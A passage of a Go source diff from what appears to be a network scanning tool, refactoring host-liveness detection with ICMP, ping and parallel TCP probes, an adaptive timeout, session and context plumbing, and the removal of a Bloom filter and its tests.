})
|
||||||
|
return s.dialer, s.dialerErr
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ScanSession) createProxyConfig() *proxy.ProxyConfig {
|
||||||
|
cfg := proxy.DefaultProxyConfig()
|
||||||
|
cfg.Timeout = s.Config.Timeout
|
||||||
|
cfg.LocalAddr = s.Config.Network.Iface
|
||||||
|
|
||||||
|
// 优先 SOCKS5
|
||||||
|
if s.Config.Network.Socks5Proxy != "" {
|
||||||
|
cfg.Type = proxy.ProxyTypeSOCKS5
|
||||||
|
socks5URL := s.Config.Network.Socks5Proxy
|
||||||
|
if !strings.HasPrefix(socks5URL, "socks5://") {
|
||||||
|
socks5URL = "socks5://" + socks5URL
|
||||||
|
}
|
||||||
|
cfg.Address, cfg.Username, cfg.Password = parseProxyURL(socks5URL, s.Config.Network.Socks5Proxy)
|
||||||
|
return cfg
|
||||||
|
}
|
||||||
|
|
||||||
|
// 其次 HTTP
|
||||||
|
if s.Config.Network.HTTPProxy != "" {
|
||||||
|
if strings.HasPrefix(s.Config.Network.HTTPProxy, "https://") {
|
||||||
|
cfg.Type = proxy.ProxyTypeHTTPS
|
||||||
|
} else {
|
||||||
|
cfg.Type = proxy.ProxyTypeHTTP
|
||||||
|
}
|
||||||
|
cfg.Address, cfg.Username, cfg.Password = parseProxyURL(s.Config.Network.HTTPProxy, s.Config.Network.HTTPProxy)
|
||||||
|
return cfg
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg.Type = proxy.ProxyTypeNone
|
||||||
|
return cfg
|
||||||
|
}
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
package core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"math"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AdaptiveTimeout 基于 RTT 采样的自适应超时计算器
|
||||||
|
// 算法:timeout = mean(RTT) + 4 * stddev(RTT),clamp 到 [min, max]
|
||||||
|
// 冷启动阶段(样本不足)返回用户配置的固定超时
|
||||||
|
type AdaptiveTimeout struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
samples []float64 // 环形缓冲区,单位 ms
|
||||||
|
pos int // 写入位置
|
||||||
|
count int // 已采集总数
|
||||||
|
size int // 缓冲区容量
|
||||||
|
minTO time.Duration
|
||||||
|
maxTO time.Duration
|
||||||
|
warmup int // 冷启动所需最小样本数
|
||||||
|
cachedTO time.Duration
|
||||||
|
dirty bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewAdaptiveTimeout 创建自适应超时计算器
|
||||||
|
// maxTimeout: 用户配置的超时上限(即原始固定超时)
|
||||||
|
func NewAdaptiveTimeout(maxTimeout time.Duration) *AdaptiveTimeout {
|
||||||
|
return &AdaptiveTimeout{
|
||||||
|
samples: make([]float64, 64),
|
||||||
|
size: 64,
|
||||||
|
minTO: 100 * time.Millisecond,
|
||||||
|
maxTO: maxTimeout,
|
||||||
|
warmup: 10,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Record 记录一次成功连接的 RTT
|
||||||
|
func (a *AdaptiveTimeout) Record(rtt time.Duration) {
|
||||||
|
a.mu.Lock()
|
||||||
|
a.samples[a.pos%a.size] = float64(rtt.Milliseconds())
|
||||||
|
a.pos++
|
||||||
|
a.count++
|
||||||
|
a.dirty = true
|
||||||
|
a.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Timeout 获取当前推荐超时值
|
||||||
|
// 样本不足时返回 maxTO(冷启动)
|
||||||
|
func (a *AdaptiveTimeout) Timeout() time.Duration {
|
||||||
|
a.mu.Lock()
|
||||||
|
defer a.mu.Unlock()
|
||||||
|
|
||||||
|
if a.count < a.warmup {
|
||||||
|
return a.maxTO
|
||||||
|
}
|
||||||
|
|
||||||
|
if !a.dirty {
|
||||||
|
return a.cachedTO
|
||||||
|
}
|
||||||
|
|
||||||
|
n := a.size
|
||||||
|
if a.count < a.size {
|
||||||
|
n = a.count
|
||||||
|
}
|
||||||
|
|
||||||
|
var sum float64
|
||||||
|
for i := 0; i < n; i++ {
|
||||||
|
sum += a.samples[i]
|
||||||
|
}
|
||||||
|
mean := sum / float64(n)
|
||||||
|
|
||||||
|
var variance float64
|
||||||
|
for i := 0; i < n; i++ {
|
||||||
|
d := a.samples[i] - mean
|
||||||
|
variance += d * d
|
||||||
|
}
|
||||||
|
stddev := math.Sqrt(variance / float64(n))
|
||||||
|
|
||||||
|
ms := mean + 4*stddev
|
||||||
|
to := time.Duration(ms) * time.Millisecond
|
||||||
|
|
||||||
|
if to < a.minTO {
|
||||||
|
to = a.minTO
|
||||||
|
}
|
||||||
|
if to > a.maxTO {
|
||||||
|
to = a.maxTO
|
||||||
|
}
|
||||||
|
|
||||||
|
a.cachedTO = to
|
||||||
|
a.dirty = false
|
||||||
|
return to
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
@@ -53,27 +54,24 @@ func (s *AliveScanStrategy) Description() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Execute 执行存活探测扫描策略
|
// Execute 执行存活探测扫描策略
|
||||||
func (s *AliveScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
func (s *AliveScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||||
// 验证扫描目标(需要同时检查 -h 和 -hf 参数)
|
// 验证扫描目标(需要同时检查 -h 和 -hf 参数)
|
||||||
fv := common.GetFlagVars()
|
if info.Host == "" && session.Params.HostsFile == "" {
|
||||||
if info.Host == "" && fv.HostsFile == "" {
|
|
||||||
common.LogError(i18n.GetText("parse_error_target_empty"))
|
common.LogError(i18n.GetText("parse_error_target_empty"))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// 执行存活探测
|
// 执行存活探测
|
||||||
s.performAliveScan(info, config, state)
|
s.performAliveScan(ctx, info, session)
|
||||||
|
|
||||||
// 输出统计信息
|
// 输出统计信息
|
||||||
s.outputStats()
|
s.outputStats()
|
||||||
}
|
}
|
||||||
|
|
||||||
// performAliveScan 执行存活探测
|
// performAliveScan 执行存活探测
|
||||||
func (s *AliveScanStrategy) performAliveScan(info common.HostInfo, config *common.Config, state *common.State) {
|
func (s *AliveScanStrategy) performAliveScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) {
|
||||||
// 解析目标主机
|
// 解析目标主机
|
||||||
fv := common.GetFlagVars()
|
hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts)
|
||||||
hosts, err := parsers.ParseIP(info.Host, fv.HostsFile, fv.ExcludeHosts)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(i18n.Tr("parse_target_failed", err))
|
common.LogError(i18n.Tr("parse_target_failed", err))
|
||||||
return
|
return
|
||||||
@@ -91,7 +89,7 @@ func (s *AliveScanStrategy) performAliveScan(info common.HostInfo, config *commo
|
|||||||
|
|
||||||
|
|
||||||
// 执行存活检测
|
// 执行存活检测
|
||||||
aliveList := CheckLive(hosts, false, config, state) // 使用ICMP探测
|
aliveList := CheckLive(ctx, hosts, false, session) // 使用ICMP探测
|
||||||
|
|
||||||
// 更新统计信息
|
// 更新统计信息
|
||||||
s.stats.AliveHosts = len(aliveList)
|
s.stats.AliveHosts = len(aliveList)
|
||||||
|
|||||||
@@ -1,66 +0,0 @@
|
|||||||
package core
|
|
||||||
|
|
||||||
import (
|
|
||||||
"hash/fnv"
|
|
||||||
)
|
|
||||||
|
|
||||||
// BloomFilter 布隆过滤器,用于ICMP包去重
|
|
||||||
type BloomFilter struct {
|
|
||||||
bits []bool
|
|
||||||
size uint32
|
|
||||||
k uint32 // hash函数数量
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewBloomFilter 创建布隆过滤器
|
|
||||||
// size: 预期元素数量
|
|
||||||
// falsePositiveRate: 期望的误判率(通常0.01即1%)
|
|
||||||
func NewBloomFilter(size int, falsePositiveRate float64) *BloomFilter {
|
|
||||||
// 计算最优bit数组大小: m = -n*ln(p) / (ln(2)^2)
|
|
||||||
// 简化计算:m ≈ n * 10 for p=0.01
|
|
||||||
m := uint32(size * 10)
|
|
||||||
if m < 1024 {
|
|
||||||
m = 1024 // 最小1KB
|
|
||||||
}
|
|
||||||
|
|
||||||
// 计算最优hash函数数量: k = (m/n) * ln(2)
|
|
||||||
// 简化:k ≈ 7 for p=0.01
|
|
||||||
k := uint32(7)
|
|
||||||
|
|
||||||
return &BloomFilter{
|
|
||||||
bits: make([]bool, m),
|
|
||||||
size: m,
|
|
||||||
k: k,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Add 添加元素到过滤器
|
|
||||||
func (bf *BloomFilter) Add(data string) {
|
|
||||||
for i := uint32(0); i < bf.k; i++ {
|
|
||||||
pos := bf.hash(data, i)
|
|
||||||
bf.bits[pos] = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Contains 检查元素是否可能存在
|
|
||||||
// 返回true:可能存在(有误判可能)
|
|
||||||
// 返回false:一定不存在
|
|
||||||
func (bf *BloomFilter) Contains(data string) bool {
|
|
||||||
for i := uint32(0); i < bf.k; i++ {
|
|
||||||
pos := bf.hash(data, i)
|
|
||||||
if !bf.bits[pos] {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
// hash 计算hash值
|
|
||||||
func (bf *BloomFilter) hash(data string, seed uint32) uint32 {
|
|
||||||
h := fnv.New32a()
|
|
||||||
_, _ = h.Write([]byte(data))
|
|
||||||
// 添加seed实现多个hash函数
|
|
||||||
for i := uint32(0); i < seed; i++ {
|
|
||||||
_, _ = h.Write([]byte{byte(i)})
|
|
||||||
}
|
|
||||||
return h.Sum32() % bf.size
|
|
||||||
}
|
|
||||||
@@ -1,168 +0,0 @@
|
|||||||
package core
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"testing"
|
|
||||||
)
|
|
||||||
|
|
||||||
/*
|
|
||||||
bloom_filter_test.go - BloomFilter 高价值测试
|
|
||||||
|
|
||||||
测试重点:
|
|
||||||
1. 基本正确性 - Add后Contains返回true,未添加的返回false
|
|
||||||
2. 误判率验证 - 实际误判率应接近理论值(1%)
|
|
||||||
3. 大规模数据 - 模拟真实ICMP去重场景
|
|
||||||
|
|
||||||
不测试:
|
|
||||||
- 内部哈希实现细节
|
|
||||||
- 精确的数学公式验证
|
|
||||||
*/
|
|
||||||
|
|
||||||
// TestBloomFilter_BasicCorrectness 基本正确性测试
|
|
||||||
func TestBloomFilter_BasicCorrectness(t *testing.T) {
|
|
||||||
bf := NewBloomFilter(1000, 0.01)
|
|
||||||
|
|
||||||
// 添加元素后应该能找到
|
|
||||||
testData := []string{
|
|
||||||
"192.168.1.1",
|
|
||||||
"10.0.0.1",
|
|
||||||
"172.16.0.1",
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, data := range testData {
|
|
||||||
bf.Add(data)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, data := range testData {
|
|
||||||
if !bf.Contains(data) {
|
|
||||||
t.Errorf("已添加的元素 %s 应该返回 true", data)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 未添加的元素(大概率)返回false
|
|
||||||
notAdded := []string{
|
|
||||||
"8.8.8.8",
|
|
||||||
"1.1.1.1",
|
|
||||||
"255.255.255.255",
|
|
||||||
}
|
|
||||||
|
|
||||||
falsePositives := 0
|
|
||||||
for _, data := range notAdded {
|
|
||||||
if bf.Contains(data) {
|
|
||||||
falsePositives++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3个未添加元素全部误判的概率极低(<0.0001%)
|
|
||||||
if falsePositives == len(notAdded) {
|
|
||||||
t.Error("所有未添加元素都返回true,布隆过滤器可能有问题")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestBloomFilter_FalsePositiveRate 误判率验证
|
|
||||||
//
|
|
||||||
// 对于 n=10000, p=0.01 的布隆过滤器:
|
|
||||||
// 实际误判率应该在 0.5% - 2% 之间(允许统计波动)
|
|
||||||
func TestBloomFilter_FalsePositiveRate(t *testing.T) {
|
|
||||||
n := 10000 // 添加的元素数
|
|
||||||
bf := NewBloomFilter(n, 0.01)
|
|
||||||
|
|
||||||
// 添加n个元素
|
|
||||||
for i := 0; i < n; i++ {
|
|
||||||
bf.Add(fmt.Sprintf("added_%d", i))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试n个未添加的元素
|
|
||||||
falsePositives := 0
|
|
||||||
testCount := n
|
|
||||||
for i := 0; i < testCount; i++ {
|
|
||||||
if bf.Contains(fmt.Sprintf("not_added_%d", i)) {
|
|
||||||
falsePositives++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
actualRate := float64(falsePositives) / float64(testCount)
|
|
||||||
|
|
||||||
// 允许的误判率范围:0.1% - 3%(考虑统计波动)
|
|
||||||
if actualRate > 0.03 {
|
|
||||||
t.Errorf("误判率过高: %.2f%% (期望 < 3%%)", actualRate*100)
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Logf("实际误判率: %.2f%% (%d/%d)", actualRate*100, falsePositives, testCount)
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestBloomFilter_LargeScale 大规模数据测试
|
|
||||||
//
|
|
||||||
// 模拟真实的ICMP去重场景:100万个IP地址
|
|
||||||
func TestBloomFilter_LargeScale(t *testing.T) {
|
|
||||||
if testing.Short() {
|
|
||||||
t.Skip("跳过大规模测试")
|
|
||||||
}
|
|
||||||
|
|
||||||
n := 1000000 // 100万
|
|
||||||
bf := NewBloomFilter(n, 0.01)
|
|
||||||
|
|
||||||
// 添加100万个元素
|
|
||||||
for i := 0; i < n; i++ {
|
|
||||||
bf.Add(fmt.Sprintf("192.168.%d.%d", i/256, i%256))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证已添加的元素
|
|
||||||
sampleSize := 1000
|
|
||||||
for i := 0; i < sampleSize; i++ {
|
|
||||||
idx := i * (n / sampleSize)
|
|
||||||
data := fmt.Sprintf("192.168.%d.%d", idx/256, idx%256)
|
|
||||||
if !bf.Contains(data) {
|
|
||||||
t.Errorf("已添加的元素 %s 返回 false", data)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试未添加元素的误判率
|
|
||||||
falsePositives := 0
|
|
||||||
for i := 0; i < sampleSize; i++ {
|
|
||||||
if bf.Contains(fmt.Sprintf("10.%d.%d.%d", i/65536, (i/256)%256, i%256)) {
|
|
||||||
falsePositives++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
actualRate := float64(falsePositives) / float64(sampleSize)
|
|
||||||
if actualRate > 0.03 {
|
|
||||||
t.Errorf("大规模场景误判率过高: %.2f%%", actualRate*100)
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Logf("100万元素场景误判率: %.2f%%", actualRate*100)
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestBloomFilter_NoFalseNegative 验证无假阴性
|
|
||||||
//
|
|
||||||
// 布隆过滤器的核心保证:已添加的元素必定返回true
|
|
||||||
func TestBloomFilter_NoFalseNegative(t *testing.T) {
|
|
||||||
bf := NewBloomFilter(10000, 0.01)
|
|
||||||
|
|
||||||
// 添加5000个元素
|
|
||||||
added := make([]string, 5000)
|
|
||||||
for i := range added {
|
|
||||||
added[i] = fmt.Sprintf("element_%d", i)
|
|
||||||
bf.Add(added[i])
|
|
||||||
}
|
|
||||||
|
|
||||||
// 全部验证
|
|
||||||
for _, data := range added {
|
|
||||||
if !bf.Contains(data) {
|
|
||||||
t.Fatalf("假阴性!已添加的元素 %s 返回 false", data)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestBloomFilter_EmptyFilter 空过滤器测试
|
|
||||||
func TestBloomFilter_EmptyFilter(t *testing.T) {
|
|
||||||
bf := NewBloomFilter(100, 0.01)
|
|
||||||
|
|
||||||
// 空过滤器应该对任何查询返回false
|
|
||||||
testCases := []string{"anything", "192.168.1.1", ""}
|
|
||||||
for _, tc := range testCases {
|
|
||||||
if bf.Contains(tc) {
|
|
||||||
t.Errorf("空过滤器对 %q 返回 true", tc)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+65
-31
@@ -2,6 +2,7 @@ package core
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
@@ -39,7 +40,9 @@ var pingErrorKeywords = []string{
|
|||||||
|
|
||||||
// CheckLive 检测主机存活状态
|
// CheckLive 检测主机存活状态
|
||||||
// 支持 ICMP/Ping 探测,并在响应率过低时自动启用 TCP 补充探测
|
// 支持 ICMP/Ping 探测,并在响应率过低时自动启用 TCP 补充探测
|
||||||
func CheckLive(hostslist []string, Ping bool, config *common.Config, state *common.State) []string {
|
func CheckLive(ctx context.Context, hostslist []string, Ping bool, session *common.ScanSession) []string {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
// 创建局部WaitGroup
|
// 创建局部WaitGroup
|
||||||
var livewg sync.WaitGroup
|
var livewg sync.WaitGroup
|
||||||
|
|
||||||
@@ -68,7 +71,7 @@ func CheckLive(hostslist []string, Ping bool, config *common.Config, state *comm
|
|||||||
|
|
||||||
// TCP 补充探测:当 ICMP/Ping 响应率过低时自动启用
|
// TCP 补充探测:当 ICMP/Ping 响应率过低时自动启用
|
||||||
// 这对防火墙过滤 ICMP 的环境特别有用
|
// 这对防火墙过滤 ICMP 的环境特别有用
|
||||||
aliveHosts = tcpSupplementaryProbe(hostslist, aliveHosts, config)
|
aliveHosts = tcpSupplementaryProbe(ctx, hostslist, aliveHosts, session)
|
||||||
|
|
||||||
// 输出存活统计信息
|
// 输出存活统计信息
|
||||||
printAliveStats(aliveHosts, hostslist)
|
printAliveStats(aliveHosts, hostslist)
|
||||||
@@ -78,7 +81,11 @@ func CheckLive(hostslist []string, Ping bool, config *common.Config, state *comm
|
|||||||
|
|
||||||
// tcpSupplementaryProbe TCP 补充探测
|
// tcpSupplementaryProbe TCP 补充探测
|
||||||
// 当 ICMP 响应率过低时(<10%),对未响应主机进行 TCP 探测
|
// 当 ICMP 响应率过低时(<10%),对未响应主机进行 TCP 探测
|
||||||
func tcpSupplementaryProbe(allHosts []string, aliveHosts []string, config *common.Config) []string {
|
func tcpSupplementaryProbe(ctx context.Context, allHosts []string, aliveHosts []string, session *common.ScanSession) []string {
|
||||||
|
if session.Config.DisableTcpProbe || session.Config.Mode == "icmp" {
|
||||||
|
return aliveHosts
|
||||||
|
}
|
||||||
|
|
||||||
totalHosts := len(allHosts)
|
totalHosts := len(allHosts)
|
||||||
if totalHosts == 0 {
|
if totalHosts == 0 {
|
||||||
return aliveHosts
|
return aliveHosts
|
||||||
@@ -102,7 +109,7 @@ func tcpSupplementaryProbe(allHosts []string, aliveHosts []string, config *commo
|
|||||||
common.LogInfo(i18n.Tr("tcp_probe_low_icmp_rate", fmt.Sprintf("%.1f%%", responseRate*100), len(unrespondedHosts)))
|
common.LogInfo(i18n.Tr("tcp_probe_low_icmp_rate", fmt.Sprintf("%.1f%%", responseRate*100), len(unrespondedHosts)))
|
||||||
|
|
||||||
// 执行 TCP 补充探测
|
// 执行 TCP 补充探测
|
||||||
tcpAliveHosts := runTcpProbeForHosts(unrespondedHosts, config)
|
tcpAliveHosts := runTcpProbeForHosts(ctx, unrespondedHosts, session)
|
||||||
|
|
||||||
// 合并结果
|
// 合并结果
|
||||||
if len(tcpAliveHosts) > 0 {
|
if len(tcpAliveHosts) > 0 {
|
||||||
@@ -321,8 +328,8 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string,
|
|||||||
var endflag atomic.Bool
|
var endflag atomic.Bool
|
||||||
var listenerWg sync.WaitGroup
|
var listenerWg sync.WaitGroup
|
||||||
|
|
||||||
// 创建布隆过滤器用于去重(自动根据主机数量调整大小)
|
// 去重集合:过滤重复的ICMP响应
|
||||||
bloomFilter := NewBloomFilter(len(hostslist), 0.01)
|
seen := make(map[string]struct{}, len(hostslist))
|
||||||
|
|
||||||
// 启动监听协程
|
// 启动监听协程
|
||||||
listenerWg.Add(1)
|
listenerWg.Add(1)
|
||||||
@@ -358,11 +365,10 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string,
|
|||||||
if sourceIP != nil && !endflag.Load() {
|
if sourceIP != nil && !endflag.Load() {
|
||||||
ipStr := sourceIP.String()
|
ipStr := sourceIP.String()
|
||||||
|
|
||||||
// 使用布隆过滤器去重,过滤重复的ICMP响应和杂包
|
if _, dup := seen[ipStr]; dup {
|
||||||
if bloomFilter.Contains(ipStr) {
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
bloomFilter.Add(ipStr)
|
seen[ipStr] = struct{}{}
|
||||||
|
|
||||||
livewg.Add(1)
|
livewg.Add(1)
|
||||||
select {
|
select {
|
||||||
@@ -376,13 +382,22 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string,
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// 发送ICMP请求(应用令牌桶限速)
|
// 发送ICMP请求(批量预构建 + 令牌桶限速)
|
||||||
limiter := state.GetICMPLimiter(config.Network.ICMPRate)
|
// 预构建所有 ICMP 包和目标地址,减少发送循环中的开销
|
||||||
|
type icmpPacket struct {
|
||||||
|
data []byte
|
||||||
|
dst net.Addr
|
||||||
|
}
|
||||||
|
packets := make([]icmpPacket, 0, len(hostslist))
|
||||||
for _, host := range hostslist {
|
for _, host := range hostslist {
|
||||||
limiter.Wait(1) // 等待令牌,控制发包速率
|
dst, _ := common.DNSCache.ResolveIP(host)
|
||||||
dst, _ := net.ResolveIPAddr("ip", host)
|
packets = append(packets, icmpPacket{data: makemsg(host), dst: dst})
|
||||||
IcmpByte := makemsg(host)
|
}
|
||||||
_, _ = conn.WriteTo(IcmpByte, dst)
|
|
||||||
|
limiter := state.GetICMPLimiter(config.Network.ICMPRate)
|
||||||
|
for i := range packets {
|
||||||
|
limiter.Wait(1)
|
||||||
|
_, _ = conn.WriteTo(packets[i].data, packets[i].dst)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 自适应等待响应
|
// 自适应等待响应
|
||||||
@@ -470,8 +485,12 @@ func icmpalive(host string) bool {
|
|||||||
// RunPing 使用系统Ping命令并发探测主机存活
|
// RunPing 使用系统Ping命令并发探测主机存活
|
||||||
func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) {
|
func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) {
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
// 限制并发数为50
|
// 并发数根据主机数动态调整,上限 200
|
||||||
limiter := make(chan struct{}, 50)
|
concurrency := len(hostslist)
|
||||||
|
if concurrency > 200 {
|
||||||
|
concurrency = 200
|
||||||
|
}
|
||||||
|
limiter := make(chan struct{}, concurrency)
|
||||||
|
|
||||||
// 并发探测
|
// 并发探测
|
||||||
for _, host := range hostslist {
|
for _, host := range hostslist {
|
||||||
@@ -674,20 +693,34 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
|
|||||||
var tcpProbeCommonPorts = []int{80, 443, 22, 445}
|
var tcpProbeCommonPorts = []int{80, 443, 22, 445}
|
||||||
|
|
||||||
// tcpProbeTimeout TCP 探测超时时间(较短,只做存活判断)
|
// tcpProbeTimeout TCP 探测超时时间(较短,只做存活判断)
|
||||||
const tcpProbeTimeout = 2 * time.Second
|
const tcpProbeTimeout = 1 * time.Second
|
||||||
|
|
||||||
// tcpProbeThreshold TCP 补充探测触发阈值
|
// tcpProbeThreshold TCP 补充探测触发阈值
|
||||||
// 当 ICMP 响应率低于此值时,自动启用 TCP 补充探测
|
// 当 ICMP 响应率低于此值时,自动启用 TCP 补充探测
|
||||||
const tcpProbeThreshold = 0.1 // 10%
|
const tcpProbeThreshold = 0.1 // 10%
|
||||||
|
|
||||||
// tcpProbeAlive 使用 TCP 探测主机是否存活
|
// tcpProbeAlive 使用 TCP 并行探测主机是否存活
|
||||||
// 尝试连接常用端口,任一端口响应即认为存活
|
// 同时连接所有常用端口,任一响应即返回
|
||||||
func tcpProbeAlive(host string) bool {
|
func tcpProbeAlive(ctx context.Context, session *common.ScanSession, host string) bool {
|
||||||
|
ctx, cancel := context.WithCancel(ctx)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
result := make(chan bool, len(tcpProbeCommonPorts))
|
||||||
for _, port := range tcpProbeCommonPorts {
|
for _, port := range tcpProbeCommonPorts {
|
||||||
addr := fmt.Sprintf("%s:%d", host, port)
|
go func(p int) {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, tcpProbeTimeout)
|
addr := fmt.Sprintf("%s:%d", host, p)
|
||||||
if err == nil {
|
conn, err := session.DialTCP(ctx, "tcp", addr, tcpProbeTimeout)
|
||||||
_ = conn.Close()
|
if err == nil {
|
||||||
|
_ = conn.Close()
|
||||||
|
result <- true
|
||||||
|
return
|
||||||
|
}
|
||||||
|
result <- false
|
||||||
|
}(port)
|
||||||
|
}
|
||||||
|
|
||||||
|
for range tcpProbeCommonPorts {
|
||||||
|
if <-result {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -696,7 +729,8 @@ func tcpProbeAlive(host string) bool {
|
|||||||
|
|
||||||
// runTcpProbeForHosts 对指定主机列表进行 TCP 补充探测
|
// runTcpProbeForHosts 对指定主机列表进行 TCP 补充探测
|
||||||
// 返回存活的主机列表
|
// 返回存活的主机列表
|
||||||
func runTcpProbeForHosts(hosts []string, config *common.Config) []string {
|
func runTcpProbeForHosts(ctx context.Context, hosts []string, session *common.ScanSession) []string {
|
||||||
|
config := session.Config
|
||||||
if len(hosts) == 0 {
|
if len(hosts) == 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -705,10 +739,10 @@ func runTcpProbeForHosts(hosts []string, config *common.Config) []string {
|
|||||||
var mu sync.Mutex
|
var mu sync.Mutex
|
||||||
aliveHosts := make([]string, 0)
|
aliveHosts := make([]string, 0)
|
||||||
|
|
||||||
// 并发控制,避免资源耗尽
|
// 并发控制,根据主机数动态调整,上限 200
|
||||||
concurrency := 50
|
concurrency := len(hosts)
|
||||||
if len(hosts) < concurrency {
|
if concurrency > 200 {
|
||||||
concurrency = len(hosts)
|
concurrency = 200
|
||||||
}
|
}
|
||||||
limiter := make(chan struct{}, concurrency)
|
limiter := make(chan struct{}, concurrency)
|
||||||
|
|
||||||
@@ -722,7 +756,7 @@ func runTcpProbeForHosts(hosts []string, config *common.Config) []string {
|
|||||||
wg.Done()
|
wg.Done()
|
||||||
}()
|
}()
|
||||||
|
|
||||||
if tcpProbeAlive(h) {
|
if tcpProbeAlive(ctx, session, h) {
|
||||||
mu.Lock()
|
mu.Lock()
|
||||||
aliveHosts = append(aliveHosts, h)
|
aliveHosts = append(aliveHosts, h)
|
||||||
mu.Unlock()
|
mu.Unlock()
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"sync"
|
"sync"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
@@ -41,7 +42,9 @@ func (s *LocalScanStrategy) Description() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Execute 执行本地扫描策略
|
// Execute 执行本地扫描策略
|
||||||
func (s *LocalScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
func (s *LocalScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
config := session.Config
|
||||||
|
|
||||||
// 输出扫描开始信息
|
// 输出扫描开始信息
|
||||||
s.LogScanStart()
|
s.LogScanStart()
|
||||||
|
|
||||||
@@ -66,7 +69,7 @@ func (s *LocalScanStrategy) Execute(config *common.Config, state *common.State,
|
|||||||
targets := s.PrepareTargets(info)
|
targets := s.PrepareTargets(info)
|
||||||
|
|
||||||
// 执行扫描任务
|
// 执行扫描任务
|
||||||
ExecuteScanTasks(config, state, targets, s, ch, wg)
|
ExecuteScanTasks(ctx, session, targets, s, ch, wg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// PrepareTargets 准备本地扫描目标
|
// PrepareTargets 准备本地扫描目标
|
||||||
|
|||||||
+217
-34
@@ -1,6 +1,7 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -38,27 +39,32 @@ var resourceExhaustedPatterns = []string{
|
|||||||
}
|
}
|
||||||
|
|
||||||
// resultCollector 结果收集器,用于并发安全地收集扫描结果
|
// resultCollector 结果收集器,用于并发安全地收集扫描结果
|
||||||
// 使用 map 实现:O(1) 的添加和删除,无顺序依赖问题
|
|
||||||
type resultCollector struct {
|
type resultCollector struct {
|
